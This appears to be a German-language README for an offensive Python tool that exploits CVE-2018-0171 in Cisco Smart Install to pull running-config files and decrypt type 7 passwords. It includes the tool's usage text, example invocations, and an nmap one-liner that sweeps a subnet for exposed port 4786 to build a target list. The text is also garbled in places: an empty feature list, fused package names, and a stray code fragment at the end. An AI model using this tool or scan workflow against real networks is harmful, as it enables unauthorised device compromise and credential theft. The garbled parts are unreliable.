
Cisco SmartInstall Exploit [CVE-2018-0171]
Cisco SmartInstall Exploit CVE-2018-0171
Inspiriert von C. Papathanasiou PoC
Dieses Python 3-Skript verwendet Port 4786 auf einem Cisco-Gerät, das SmartInstall ausführt, um CVE-2018-0171 auszunutzen. Mit diesem Exploit kann ein Angreifer eine Payload erstellen, an das Cisco-Gerät senden und dann den Inhalt der Datei running-config extrahieren.
Das Cisco Smart Exploit-Skript kann:

Hier ist die Liste der Anforderungen zur Nutzung des Skripts:
tftpy==0.8.2c7decrypt für die Entschlüsselung von Secret 7
gem install c7decrypt __ __ __ __ __ __ ___ ___ __ __ ___
/ ` | /__` / ` / \ /__` |\/| /\ |__) | |__ \_/ |__) | / \ | |
\__, | .__/ \__, \__/ .__/ | | /~~\ | \ | |___ / \ | |___ \__/ | |
by @AlrikRr
usage: cisco-se.py [-h] (-i IP | -f FILE | -c CONFIG)
optional arguments:
-h, --help show this help message and exit
-i IP Single IP Address
-f FILE File that contains IP list
-c CONFIG running-config File standalone
Beispiele :
python3 cisco-se.py -i 192.168.10.1
python3 cisco-se.py -f ip_list.txt
python3 cisco-se.py -c running-config.txt
Für die Option -f FILE folgt ein Beispiel mit nmap:
nmap -p 4786 10.20.30.0/24 --open -Pn -oG - | awk '/Up$/{print $2}' > ip_list.txt
client.download()